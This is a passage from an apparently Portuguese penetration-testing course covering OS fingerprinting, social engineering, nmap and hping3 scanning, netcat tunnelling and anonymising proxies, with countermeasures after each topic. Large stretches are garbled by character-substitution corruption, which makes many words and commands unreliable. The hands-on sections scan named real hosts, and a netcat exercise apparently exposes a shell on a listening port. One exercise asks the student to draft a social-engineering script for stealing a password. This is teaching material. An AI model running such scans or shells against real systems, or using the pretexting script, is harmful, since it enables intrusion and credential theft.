campos Seceived pois por cada servidor de e"mail %ue a mensa'em passa
adicionado um novo campo. !orm o endereo de %uem enviou a mensa'em vai
aparecer no campo Seceived mais bai$o no e$emplo acima o ltimo Seceived de
nosso cabealho pois cada servidor de e"mail %ue adiciona esse campo vai colocando
sempre acima do primeiro campo adicionado.
& como podemos obter o cabealho de um e"mail7
8o Kahoo= Qasta clicarmos em MCabealhos CompletosN.
Captulo 5 Levantamento de Informaes - 66
5.12. Fin'erprint
Fin'erprint uma das principais tcnicas de levantamento de informao
BfootprintC %ue realizada por um !en"Oester antes %ue o mesmo comece a realizar
os ata%ues em seu alvo.
+ funo dessa tcnica identificar a verso e distribuio do sistema
operacional %ue ir# receber a tentativa de intruso. ?endo assim essa tcnica
e$tremamente importante para %ue o atacante consi'a desenvolver de maneira mais
precisa e menos ruidosa seu ata%ue. 9sando essa tcnica o !en"Oester estar#
e$plorando problemas da pilha OC!5>! e verificando caractersticas nicas %ue
permitem %ue o sistema alvo seGa identificado.
?- depois %ue isso for feito podero ser escolhidas as melhores ferramentas
para e$plorar o sistema.
!ara %ue o fin'erprint apresente resultados confi#veis so necess#rias
an#lises comple$as como0
+nalise de pacotes %ue trafe'am pela redeX
Leitura de banners Bassinaturas do sistemaCX
+n#lise de particularidades da pilha OC!5>!.
!ara realizar tais an#lises podemos utilizar ferramentas especficas
conhecidas como scanners de fin'erprint %ue so soft2ares usados para realizar
Captulo 5 Levantamento de Informaes - 6
tarefas de deteco de sistemas operacionais.
&ntre os scanners e$istentes podemos dividi"los basicamente em dois tipos0
5.12.1. Fingerprint passivo
1 scanner atua como um MfareGadorN na rede ou seGa fica escutando os
pacotes %ue passam por ela detectando o formato do pacote %ue esta passando
conse'ue identificar o sistema operacional.
!ara esse tipo de operao utilizamos a ferramenta p)f %ue permite
MfareGarmosN os pacotes %ue trafe'am na rede.
#%0f $i eth0 $o log
Com o parZmetro "i definimos em %ual dispositivo de rede ele ficar# fareGando
os pacotes se no definimos nada ele assume MallN fareGando todos os dispositivos
disponveis.
Com o parZmetro "o dizemos para o p)f armazenar tudo o %ue for capturado
em um ar%uivo de sada com nome definido por n-s.
5.12.2. Fingerprint ativo
1 scanner envia pacotes manipulados e forGados baseado em uma tabela
pr-pria de fin'erprint. Com isso ele analisa a resposta do pacote e compara com a
tabela para definir %ual o sistema operacional.
1 risco desse tipo de fin'erprint %ue se o alvo estiver com um fire2all bem
confi'urado e um >D?5>!? nosso acesso pode ser lo'ado em seu sistema e pode ser
difcil %ue consi'amos muitas informaes.
Duas ferramentas %ue podemos utilizar em um fin'erprint ativo so nmap e
$probeT alm obviamente dos comandos pin' e traceroute s- para citarmos dois
comandos b#sicos.
Captulo 5 Levantamento de Informaes - 6!
5.12.3. Descobrindo um Sistema Operacional usando I!"
9m simples pin' capaz de revelar o sistema operacional de uma m#%uina.
# %ing www.4linux.com.br $c
P:7' www.4linux.com.br ;22.3.4".4< !2;34< b(tes of data.
24 b(tes from 4$4"$3$22.re0erse.%riorit(online.net ;22.3.4".4<: icm%=se>?
ttl?49 time?4!" ms
$$$ www.4linux.com.br %ing statistics $$$
%ac9ets transmitted@ recei0ed@ 0A %ac9et loss@ time 0ms
rtt min#a0g#max#mde0 ? 4!".!!#4!".!!#4!".!!#0.000 ms
#
+ informao importante est# no campo OOL BOime Oo LiveC. + maioria dos
sistemas operacionais se diferencia pelo valor retornado de OOL. 3eGa a lista abai$o0
CRclades " 8ormalmente ,)
Linu$ " 8ormalmente [I
Jindo2s " 8ormalmente VTU
Cisco " 8ormalmente TPP
Linu$ \ iptables " 8ormalmente TPP
5.12.#. alculando $O"
9tilizando os comandos traceroute e pin' conGu'ados para obter informaes
podemos calcular o ttl e descobrir o sistema operacional do alvo.
# traceroute www.4linux.com.br
traceroute to www.4linux.com.br ;22.3.4".4<@ +0 ho%s max@ 20 b(te %ac9ets
9".23.0.! ;9".23.0.!< 0.!9 ms 0.42 ms 0.41 ms
" c902ff0.static.s%o.0irtua.com.br ;"0.2."!!.< 3.2! ms 3.21 ms 3.22+ ms
+ c90200!e.0irtua.com.br ;"0.2.0.94< 3.4+! ms 3.!0 ms 3.!0+ ms
4 c9020002.0irtua.com.br ;"0.2.0.2< 3.94" ms 9.0"" ms 9.0+ ms
! c902000d.0irtua.com.br ;"0.2.0.+< 9.4+ ms 9.!0" ms +.04 ms
2 24."09.03.""! ;24."09.03.""!< "."1+ ms 1.012 ms 1.+44 ms
1 B B B
Captulo 5 Levantamento de Informaes - 6"
3 border".tge+$$bbnet.acs00".%na%.net ;24.94.0.9< 1!.!0 ms 12.3! ms 11."91
ms
9 sagonet$".border".acs00".%na%.net ;10.4".30.!0< +!.+23 ms +!.40" ms +2."93
ms
0 0e40.core0a.t%a.sagonet.net ;2+."42.!9.4< 42.!"+ ms 42.!14 ms 42.!!1 ms
gige.ds0+a.t%a.sagonet.net ;2!.0.+".0< 41.!90 ms 41.1+3 ms 43.22! ms
" B B B
Com o traceroute podemos ver %ue temos VV saltos at %ue os pacotes so
interrompidos o %ue pode representar um fire2all ou al'o do tipo %ue descarte os
pacotes.
+'ora %ue sabemos por %uantos roteadores estamos passando podemos usar
o comando pin' para descobrir o OOL do site.
# %ing www.4linux.com.br $c
P:7' www.4linux.com.br ;22.3.4".4< !2;34< b(tes of data.
24 b(tes from 4$4"$3$22.re0erse.%riorit(online.net ;22.3.4".4<: icm%=se>?
ttl?49 time?4!" ms
$$$ www.4linux.com.br %ing statistics $$$
%ac9ets transmitted@ recei0ed@ 0A %ac9et loss@ time 0ms
rtt min#a0g#max#mde0 ? 4!".!!#4!".!!#4!".!!#0.000 ms
#
?omando a %uantidade de saltos BVVC com o valor de ttl BI]C temos [). 1 mais
pr-$imo de [) [I %ue representa o Linu$. + partir da podemos concluir %ue o
sistema operacional utilizado no servidor onde o site est# hospedado Linu$.
5.12.5. Fingerprint atrav%s do &probe2
Ferramenta para fin'erprint ativo apresentada na conferencia Qlac4Lat Las"
3e'as em T))V criada por FRodor criador da ferramenta nmap e 1fir +r4in co"
fundador do proGeto honeRnet.or'.
?eu banco de dados de assinaturas fica em0
Captulo 5 Levantamento de Informaes - #
#usr#local#etc#x%robe"#x%robe".conf
&$ecute o $probeT na m#%uina do instrutor para descobrir o sistema
operacional0
# x%robe" www.4linux.com.br
+'ora tente utilizar o fin'erprint sobre uma porta aberta0
# x%robe" $% tc%:30:o%en 22.3.4".4
!ercebe"se %ue %uanto maior o nmero de informaes %ue passamos para o
$probeT maior a preciso no reconhecimento do ?istema 1peracional do alvo.
5.1). Contramedidas
Confi'urar as aplicaes instaladas nos servidores atentando para as
informaes %ue elas e$ibem durante as re%uisies.
Confi'urar corretamente as re'ras de fire2all para blo%uear
re%uisies maliciosas.
Oer cuidado com as informaes publicadas na J&Q.
Confi'urar corretamente o ar%uivo robot.t$t para %ue diret-rios com
ar%uivos sensveis no seGam inde$ados pelos sistemas de busca.
5.1,. *r%ti$a diri'ida
V. Faa uma varredura no servidor da ILinu$ usando a ferramenta dnsenum.
T. >dentifi%ue na internet um ar%uivo robots.t$t
,. >dentifi%ue a verso do sistema operacional de um servidor local da rede
utilizando o nmap e $probeT
Captulo 5 Levantamento de Informaes - $
I. 9tilizando a ferramenta p)f identifi%ue o sistema operacional de m#%uinas
e$istentes na rede local
Captulo 5 Levantamento de Informaes - 72
Captulo 6
Entendendo a Engenharia Social e o
No-Tech Hacking
6.1. Objetivo
Entender o que Engenharia Social
Entender o Dumpster Diving
Entender os riscos associados Engenharia Social
Entender as tcnicas de No-Tech Hacking
Captulo 6 Entendendo a Engenharia Soial e o !o-"eh #a$ing - 7%
6.!. O "ue # Engenharia Social$
Podemos considerar a engenharia social como a arte de enganar pessoas para
conseguir informa!es" as quais n#o deviam ter acesso$
%uitas ve&es empregados de uma empresa dei'am escapar informa!es
sigilosas atravs de um contato via telefone ou mesmo conversando em locais
p()licos como* corredores" elevadores e )ares$
+ma empresa pode ter os melhores produtos de segurana que o dinheiro
pode proporcionar$ Porm" o fator humano " em geral" o ponto mais fraco da
segurana$
No existe Patch para a burrice humana
6.%. Tipo de Engenharia Social
6.3.1. Baseada em pessoas
,s tcnicas de engenharia social )aseada em pessoas possuem diversas
caracter-sticas que s#o utili&adas para que o atacante consiga as informa!es que
dese.a" dentre elas podemos citar*
Disfarces
/epresenta!es
+so de cargos de alto n-vel
,taques ao servio de Helpdesk
0)serva!es
6.3.2. Baseada em computadores
Esses ataques s#o caracteri&ados por utili&arem tcnicas de ataque )aseadas
no desconhecimento do usu1rio com rela#o ao uso correto da inform1tica$
Captulo 6 Entendendo a Engenharia Soial e o !o-"eh #a$ing - 7&
E'emplos*
2avalos de Tr3ia ane'ados a e-mails
E-mails falsos
4e)Sites falsos
6.&. 'or(a de ata"ue
6.4.1. Insider Attacks
5nsiders s#o pessoas de dentro da pr3pria organi&a#o$
0 o).etivos por detr1s dos ataques de insiders podem ser v1rios" desde
desco)rir quanto o colega do lado ganha" at conseguir acesso a informa!es
confidenciais de um pro.eto novo para vender ao concorrente de seu empregador$
6.4.2. Roubo de identidade
,tualmente" quando algum cria uma nova identidade )aseando-se em
informa!es de outra pessoa" essa identidade chamada de 6laran.a7$
Dentro de empresas" o rou)o de credenciais" para acessar informa!es que
n#o est#o acess-veis a todos" um fato corriqueiro" que pode passar pelo simples
shoulder surfing clonagem de 5D 2ard$
6.4.3. Phishing Scam
8 uma forma de fraude eletr9nica" caracteri&ada por tentativas de adquirir
informa!es sigilosas" ou instalar programas maliciosos na m1quina alvo$
Na pr1tica do Phishing surgem artimanhas cada ve& mais sofisticadas para
:pescar: ;do ingl<s fish= as informa!es sigilosas dos usu1rios$
Captulo 6 Entendendo a Engenharia Soial e o !o-"eh #a$ing - 75
6.4.4. UR !b"uscation
Tcnica utili&ada para diminuir o tamanho de +/>?s muito grandes$
E'emplos de servios*
migre$me
okm$me
digi$to
5sso pode ser utili&ado para ocultar +/> com par@metros ou tags maliciosos"
como tags de .avascript para ataques de ASS" por e'emplo$
6.4.#. $umpster $i%ing
8 o ato de vasculhar li'eiras em )usca de informa!es$
Todos os dias s#o .ogados no li'o de empresas v1rios documentos por terem
perdido sua utilidade$ 0s atacantes podem aproveitar essas informa!es e us1-las
para um ataque$
6.4.6. Persuas&o
0s pr3prios hackers v<em a engenharia social de um ponto de vista
psicol3gico" enfati&ando como criar o am)iente psicol3gico perfeito para um ataque$
0s mtodos )1sicos de persuas#o s#o* personifica#o" insinua#o" conformidade"
difus#o de responsa)ilidade e a velha ami&ade$
5ndependente do mtodo usado" o o).etivo principal convencer a pessoa que
dar1 a informa#o" de que o engenheiro social de fato uma pessoa a quem ela pode
confiar as informa!es prestadas$ 0utro fator importante nunca pedir muita
informa#o de uma s3 ve& e sim perguntar aos poucos e para pessoas diferentes" a
fim de manter a apar<ncia de uma rela#o confort1vel$
Captulo 6 Entendendo a Engenharia Soial e o !o-"eh #a$ing - 76
6.). Engenharia Social *evera
+m mtodo mais avanado de conseguir informa!es il-citas com a
engenharia social reversa$ 5sto ocorre quando o atacante cria uma personalidade que
aparece numa posi#o de autoridade" de modo que todos os usu1rios lhe pedir#o
informa#o$ Se pesquisados" plane.ados e )em e'ecutados" os ataques de engenharia
social reversa permitem e'trair dos funcion1rios informa!es muito valiosasB
entretanto" isto requer muita prepara#o e pesquisa$
0s tr<s mtodos de ataques de engenharia social reversa s#o" sa)otagem"
propaganda e a.uda$ Na sa)otagem" o hacker causa pro)lemas na rede" ent#o divulga
que possui a solu#o para este" e se prop!e a solucion1-lo$ Na e'pectativa de ver a
falha corrigida" os funcion1rios passam para o hacker todas as informa!es por ele
solicitadas$ ,p3s atingir o seu o).etivo" o hacker elimina a falha e a rede volta
funcionar normalmente$ /esolvido o pro)lema os funcion1rios sentem-se satisfeitos e
.amais desconfiar#o que foram alvos de um hacker$
, melhor refer<ncia que atualmente temos so)re engenharia social" o site do
pro.eto Social Engineering CrameDork$ Para maiores informa!es acessem*
http://www.social-engineer.org/framework/Social_Engineering_Framework
6.6. No Tech Hacking
Todo e qualquer tipo de ataque que n#o tenha necessidade de aparatos
tecnol3gicos" nem computadores" s#o considerados 6no tech hackings7$
Esse mtodo normalmente utili&ado para testar a segurana f-sica de uma
empresa ou organi&a#o" englo)ando inclusive a engenharia social$
Podemos citar como tipos de ataques 6no tech7*
dumpster diving
Captulo 6 Entendendo a Engenharia Soial e o !o-"eh #a$ing - 77
shoulder surfing
lock picking
tailgating
6.+. Contra(edida
%antenha protegido" n#o tra)alhe em assuntos privados em locais
p()licos$
Caa o descarte seguro de documentos$
+tili&e fechaduras e trancas de )oa qualidade e comprovado n-vel de
segurana$
%antenha )olsas e documentos pessoais em segurana$
Teste constantemente seus dispositivos de segurana" c@meras e
detectores de movimento$
Tenha cuidado com Shoulder Surfer?s$
Eloqueie o tailgating$
%antenha-se atento aos engenheiros sociais$
D< treinamento adequado aos funcion1rios" principalmente os da 1rea
de segurana$
6.,. E-erccio te.rico
Ela)ore a)ai'o um script de ataque de engenharia social para conseguir a
senha de um usu1rio$
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Captulo 6 Entendendo a Engenharia Soial e o !o-"eh #a$ing - 7'
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 79
Captulo 7
Varreduras ativas, passivas e furtivas
de rede
7.1. Objetivos
Mapear hosts ativos na rede
Obter verses dos sistemas operacionais
Entender aquisio de banners
Identificar os servios em execuo
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 80
7.2. Varreduras Internet Control Messages Protocol ICMP!
O protocolo IP (Internet Protocol) conhecido como !protocolo do melhor
esforo!" devido a sua caracter#stica de sempre procurar o melhor caminho at uma
determinada rede ou host$ O IP possui um fiel escudeiro" um chamado I%MP
(Internet %ontrol Messa&es Protocol) e" de acordo com a '(%)*+ o I%MP
empre&ado quando,
-uando um pacote no conse&ue che&ar ao destino
-uando um roteador no conse&ue encaminhar um pacote
-uando um roteador descobre uma rota mais curta para um destino
(erramentas como o pin& e o traceroute utili.am o protocolo de controle
I%MP para determinar se um host est/ vivo na rede e para mapear os roteadores at
um destino" por exemplo$
O 0pin&0 um I%MP echo request (tipo 1) e o 0pon&0 um I%MP echo repl2
(tipo 3)$ 4/ uma infinidade de icmp t2pes" que podem ser consultados no site da iana$
5abendo dessa particularidade" podemos utili.ar uma ferramenta simples
chamada fpin&" que pode facilmente detectar todos os hosts ativos numa rede" desde
que os mesmos respondam icmp$
#fping -c1 -g 192.168.200.0/24 2> /dev/null > /tmp/ips.txt
O nmap tambm pode ser usado com a opo 6sP
#nmap sP 192.168.200.0/24
7o caso do nmap" se utili.armos a opo Pin& 5can (8sP)" observamos que
mesmo se uma m/quina estiver bloqueando pacotes I%MP" ele poder/ list/8la como
ativa" pois ele tambm envia pacotes 9%P para al&umas portas" como por exemplo a
porta 13$
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 81
:ssim" conse&uimos a lista de todos os computadores que respondem pin& na
rede$
7.". Varreduras #CP
Enquanto que as varreduras I%MP nos informam a quantidade de hosts ativos
em uma rede" as varreduras 9%P nos informam o n;mero de portas abertas em um
determinado computador$ Para descobrir se uma porta esta aberta ou fechada" o
pro&rama chamado port scanner manipula uma caracter#stica do protocolo 9%P"
chamada 9hree <a2 4andsha=e" descrita na '(% )*>$
?e acordo com a ima&em" o cliente" que dese@a conectar8se a um servidor"
envia um pedido de conexo" ou se@a" no cabealho do data&rama 9%P contm uma
fla& do tipo !5A7!$
O servidor" que est/ apto a atender novas requisies responde ento com um
data&rama 9%P contendo uma fla& do tipo !5A7!B !:%C!$
O cliente ento responde com um data&rama contendo um !:%C!" e ento
estabelecida a conexo$
?e acordo com a '(% )*>" que define os parDmetros para o protocolo 9%P"
toda porta aberta deve responder com a fla& !5A7B:%C!" e toda porta fechada deve
responder com uma fla& !'59!$
Para identificar este comportamento" vamos utili.ar a ferramenta linha de
comando hpin&>$
Eerificando o comportamento de um servidor com a porta 13 aberta$
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 82
# ping! --s"n -c 1 -p 80 192.168.0.1#!
$P%&' 192.168.0.1#! (et0 192.168.0.1#!)* + set, 40 eade-s . 0 data /"tes
len046 ip0192.168.0.1#! ttl0128 12 id0106# sp3-t080 flags0+4 se500 6in064240
-tt04.! ms
O mesmo comando a&ora em uma porta fechada$
# ping! --s"n -c 1 -p 81 192.168.0.1#!
$P%&' 192.168.0.1#! (et0 192.168.0.1#!)* + set, 40 eade-s . 0 data /"tes
len046 ip0192.168.0.1#! ttl0128 id01069 sp3-t081 flags074 se500 6in00 -tt01.0 ms
Perceba que as respostas so" 5:" que representa um !5A7 B :%C!" e um ':"
que representa um !'eset B :%C!" a resposta padro para portas fechadas$
7.$. %&ap
7map pode ser considerada uma das ferramentas mais completas para
reali.ar varreduras em redes" pois possui um n;mero imenso de opes" permitindo
explorarmos quase todas as possibilidades de varreduras poss#veis$
Essa ferramenta possui" inclusive" opes que permitem burlar sistemas de
proteo" como I?5FIP5 e (ireGall" cu@as re&ras poderiam bloquear ou detectar
varreduras no permitidas$
Sintaxe: nmap H5can 92pe(s)I HOptionsI Jtar&et specificationK
7.'. M(todos de Varredura
7.5.1. -sP
Pin& scan, :l&umas ve.es necess/rio saber se um determinado host ou rede
est/ no ar$ 7map pode enviar pacotes I%MP Lecho request! para verificar se
determinado host ou rede est/ ativa$ 4o@e em dia" existem muitos filtros que re@eitam
os pacotes I%MP Lecho request!" ento envia um pacote 9%P :%C para a porta 13
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 83
(default) e caso receba '59 o alvo est/ ativo$ : terceira tcnica envia um pacote 5A7
e espera um '59 ou 5A78:%C$
7.5.2. -sV
Eersion detection, :pMs as portas 9%P eFou N?P serem descobertas por al&um
dos mtodos" o nmap ir/ determinar qual o servio est/ rodando atualmente$ O
arquivo nmap8service8probes utili.ado para determinar tipos de protocolos" nome
da aplicao" n;mero da verso e outros detalhes$
7.5.3. -sS
9%P 5A7 scan, 9cnica tambm conhecida como Lhalf8open!" pois no abre
uma conexo 9%P completa$ O enviado um pacote 5A7" como se ele fosse uma
conexo real e a&uarda uma resposta$ %aso um pacote 5A78:%C se@a recebido" a
porta est/ aberta" enquanto que um '598:%C como resposta indica que a porta est/
fechada$ : vanta&em dessa aborda&em que poucos iro detectar esse scannin& de
portas$
7.5.4. -sT
9%P connect() scan, O a tcnica mais b/sica de 9%P scannin&$ O utili.ada a
chamada de sistema (s2stem call) Lconnect()! que envia um sinal as portas ativas$
%aso a porta este@a aberta recebe como resposta Lconnect()!$ O um dos scan mais
r/pidos" porm f/cil de ser detectado$
7.5.5. -sU
N?P scan, Este mtodo utili.ado para determinar qual porta N?P est/
aberta em um host$ : tcnica consiste em enviar um pacote N?P de 3 b2te para cada
porta do host$ 5e for recebida uma mensa&em I%MP Lport unreachable! ento a
porta est/ fechada" seno a porta pode estar aberta$ Para variar um pouco" a
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 84
Microsoft i&norou a su&esto da '(% e com isso a varredura de m/quinas <indoGs
muito r/pida$
7.5.6. -sF, -sX, -sN
Stealth FIN, Xmas Tree ou Null: :l&uns fireGalls e filtros de pacotes
detectam pacotes 5A7Ps em portas restritas" ento necess/rio utili.ar mtodos
avanados para atravessar esses softGares$
FIN, Portas fechadas enviam um pacote '59 como resposta a pacotes (I7"
enquanto portas abertas i&noram esses pacotes$ (Esse mtodo no funciona com a
plataforma <indoGs" uma ve. que a Microsoft no se&uiu '(% *)>)
Xmas Tree, Portas fechadas enviam um pacote '59 como resposta a pacotes
(I7" enquanto portas abertas i&noram esses pacotes$ :s fla&s (I7" N'Q e PN54 so
utili.ados nos pacotes (I7 que enviado ao alvo$ (Esse mtodo no funciona com a
plataforma <indoGs" uma ve. que a Microsoft no se&uiu '(% *)>)
Null, Portas fechadas enviam um pacote '59 como resposta a pacotes (I7"
enquanto portas abertas i&noram esses pacotes$ 7enhuma fla& li&ada no pacote
(I7$ (Esse mtodo no funciona com a plataforma <indoGs" uma ve. que a Microsoft
no se&uiu '(% *)>)
7.5.7. -T <Paranoid|Sneaky|Poi!e|Nor"a|#$$ressi%e|&nsane'
Esse parDmetro seta a prioridade de varredura do 7map,
Paranoid (-T0) muito lento na esperana de prevenir a deteco pelo
sistema I?5$ Este seriali.a todos os scans (scannin& no paralelo) e
&eralmente espera no m#nimo R minutos entre o envio de pacotes$
Sneaky (-T1) similar ao Paranoid" exceto que somente espera SR
se&undos entre o envio de pacotes$
Polite (-T) tem o si&nificado para facilitar a car&a na rede e redu.ir as
chances de travar a m/quina$ Ele seriali.a os testes e espera no m#nimo
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 85
3$T se&undos entre eles$
Normal (-T!) o comportamento default do 7map" o qual tenta executar
to r/pido quanto poss#vel sem sobrecarre&ar a rede ou perder
hostsFportas$
"##ressi$e(-T%) esse modo adiciona um timeout de R minutos por host e
nunca espera mais que S$+R se&undos para testar as respostas$
Insane (-T&) somente adequando para redes muito r/pidas ou onde
vocU no se importa em perder al&umas informaes$ 7esta opo o
timeout dos hosts acontece em )R se&undos e espera somente 3$>
se&undos por teste individual$
8p9:es %nte-essantes*
-p ; <tili=ad3 pa-a especifica- p3-tas
-8 ; >3st-a a ve-s?3 d3 +.8
-P0 ; 1esativa %@>P tip3 8 e 3 A@P 4@B na p3-ta 80
7.). Pr*tica dirigida
7.6.1. (a)eando )or!as a*er!as e" +" ser%idor
#nmap -sA 192.168.0.1#!
Esta varredura o comportamento padro do 7map que utili.ado quando
no temos privil&ios de root ou em redes IpvV$ 7esta varredura" o 7map utili.a uma
chamada de sistema do tipo !connect()!" e seu desempenho depende fortemente da
implementao da pilha 9%PFIP feita no sistema operacional$
Os resultados poss#veis para esta varredura so,
OpenF(iltered, :berta e aceitando conexes eFou filtrada por fireGall
%losedF(iltered, Porta fechada eFou filtrada por fireGall
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 86
Earreduras baseadas em fim de conexo,
#nmap -s2 192.168.0.1#!
Esta varredura explora o comportamento padro da '(% )*+$ ?e acordo com
ela" um pacote marcado com a fla& !(I7! deve causar como resposta um pacote com
a fla& !'59! para portas que este@am fechadas" e devem ser descartados se a porta
estiver aberta$
?evido a esta caracter#stica" os resultados sero,
OpenF(iltered, :berta eFou filtrada por fireGall
%losedF(iltered, (echada eFou filtrada por fireGall
Earredura 7ula,
#nmap -s& 192.168.0.1#!
:l&uns sistemas operacionais que no se&uem a '(% estritamente podem dar
respostas diferentes do esperado$ 5abendo deste comportamento" podemos enviar
um pacote sem nenhum conte;do e ento observar a resposta do alvo$
:s respostas podem variar de sistema operacional para sistema operacional"
mas &eralmente recebemos,
OpenF(iltered, :berta eFou filtrada por fireGall
%losed, (echada
Earredura para identificao de fireGalls,
#nmap -s4 192.168.0.1#!
O ob@etivo desta varredura mapear as re&ras de um fireGall para determinar
se o mesmo fa. tratamento completo de conexo ou no$
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 87
Os ;nicos resultados neste tipo de varredura so,
(iltered, : porta est/ prote&ida por fireGall
Nnfiltered, : porta no est/ prote&ida por fireGall
7.7. #unela&ento
O tunelamento" basicamente" a tcnica de encapsular con@untos de dados
que trafe&am em rede dentro de outro con@unto de dados" de forma que a rota que os
primeiros iam tomar se@a condu.ida para um lu&ar ou de uma maneira que sem o
encapsulamento eles no poderiam fa.er$

Existem v/rios motivos pelos quais se pode querer implementar um t;nel,
Prote&er dados atravs de uma conexo cripto&rafada no suportada
localmenteW
'eali.ar uma conexo cu@o protocolo seria bloqueado no fosse o uso
do t;nelW
%onectar8se a um destino bloqueado para conexo diretaW
%onectar8se a uma m/quina de rede interna como se fosse de dentro
para foraW
Mascaramento de IP$
Existem diversos aplicativos que nos permitem abrir t;neis manualmente$
%omo o tunelamento pode possuir diferentes formas e funes" os aplicativos
naturalmente funcionando de maneiras e sob condies diferentes$
:l&uns deles foram pro@etados especificamente para tunelar conexes"
enquanto outros podem ter mais de uma funo ou mesmo ser um canivete su#o do
9%PFIP$
Os aplicativos que podemos utili.ar aqui so,
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 88
7etcat (canivete su#o 9%PFIP)W
Open554 (shell remotoFt;nel cripto&r/fico)W
4ttptunnel (t;nel http para atravessar fireGalls)W
%or=screG (tunela 554 em http para atravessar fireGalls)$
7.+. Pr*tica dirigida
7.,.1. T+neando -o" o Ne!-a!
:bra trUs terminais$
: idia que um primeiro terminal vai escutar em uma porta de forma
re&ular" um se&undo vai abrir um t;nel de uma porta arbitr/ria at a porta em que o
servidor do primeiro terminal estiver escutando e o terceiro terminal vai se conectar"
tambm de maneira re&ular" X porta arbitr/ria do tunel que levar/ essa conexo at a
sua sa#da no servio do primeiro terminal$
9S (servidor),
C nc -l -vv 1026 D //in//as
9+ (t;nel) ,
C nc -l -vv 102E D nc l3cal3st 1026
9> (cliente),
C nc l3cal3st 102E
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 89
7.,. -non.&i/er
Os pro&ramas de anon2mi.er funcionam basicamente para ocultar seus dados
enquanto nave&a na internet$
7ormalmente a aplicao utili.ada para isso um prox2" que apMs
confi&urado" permite que seu IP se@a mascarado" fornecendo o dele como IP real$
%om isso" poss#vel prote&er o conte;do de e8mails" textos de softGares de
mensa&ens instantDneas" I'% e outros aplicativos que usam o protocolo 9%P$
Nma boa ferramenta para utili.armos mantendo nossos dados de nave&ao
prote&idos" o 9O' 6 9he Onion 'outer$
O pro&rama foi desenvolvido pelo YaboratMrio %entral da Marinha para
5e&urana de %omputadores" com a a@uda da ?arpa (GGG$darpa$mil)" a a&Uncia
criada no au&e da &uerra fria com o ob@etivo de transformar os Estados Nnidos em
uma superpotUncia tecnolM&ica$ Para quem no se lembra" foi a ?arpa (na poca sem
o ?) quem coordenou os estudos para a construo de uma rede descentrali.ada de
computadores" capa. de resistir a qualquer ataque locali.ado$ (oi assim que nasceu a
:rpanet" o embrio do que ho@e chamamos internet$
O 9or andava meio esquecido" at que a Electronic (rontier (oundation" uma
entidade civil que se destaca pelo vi&or com que combate nos tribunais os abusos
&overnamentais contra os direitos individuais" decidiu apoiar politicamente o pro@eto
e contribuir financeiramente para que ele cresa" fique forte e consi&a deixar cada
ve. mais &ente invis#vel$
Outro pro&rama" que trabalha @unto com o 9O'" o privox2" que evita o envio
de qualquer dado enviado pelo nave&ado alcance a intranet" bloqueando8os no
caminho$ Isso evita que atravs desses dados" qualquer informao do internauta
se@a capturada" e sua locali.ao descoberta$
9O' 6 9he Onion 'outer
http,FFGGG$torpro@ect$or&F
Privox2
http,FFGGG$privox2$or&
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 90
7.10. Pr*tica dirigida
7.1..1. Na%e$ando anoni"a"en!e
:cesse o site GGG$shoGm2ip$com e ve@a seu endereo IP e o local de onde
est/ acessando$
Instale o anon8prox2,
#aptitude install an3n-p-3x"
Entre no nave&ador e confi&ure o prox2 para localhost na port T33S (porta
padro do anon8prox2)
:cesse o mesmo site inicial e ve@a se o IP est/ diferente" assim como o local de
onde est/ acessando$
7.11. Contra&edidas
Manter re&ras de fireGall bem confi&uradas" evitando que determinados tipos
de varredura possam ser reali.adas$
7o permitir que usu/rios na rede tenham acesso Xs confi&uraes do
nave&ador para confi&urar prox2s$
Manter I?5Ps instalados e bem confi&urados" observando sempre seus lo&s e
relatMrios$
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 91
Captulo 8
Enumerao de informaes e
servios
8.1. Objetivos
Mapear a rede
Descobrir servios e verses sendo executadas na rede
Captulo 8 Enumerao de informaes e servios - 92
8.2. Enumerao
As tcnicas de enumerao so utilizadas como um complemento s fases de
fingerprint e varredura.
O obetivo descobrir servios e verses !ue esto sendo executados no
sistema alvo" facilitando a posterior pes!uisa de vulnerabilidades e exploits
espec#ficos.
$uanto mais informaes tivermos sobre nosso alvo" mais f%cil ser% para
encontrarmos vulnerabilidades e mel&orarmos nossos vetores de ata!ue. 'abendo os
servios rodando e as verses dos mesmos" torna(se poss#vel encontrarmos os
exploits corretos e as vulnerabilidades !ue podero ser exploradas.
Alm disso" na fase de enumerao" mapeameos toda a rede do alvo"
descobrindo os pontos fal&os e onde podemos explorar para conseguir acesso a
informaes estratgicas.
8.3. Auisio de banners
)alaremos agora a respeito da captura de informaes sobre os servios !ue
esto rodando em uma m%!uina(alvo por meio da leitura de seus respectivos banners
!ue so a!uelas mensagens !ue contm informaes como o tipo do servio" sua
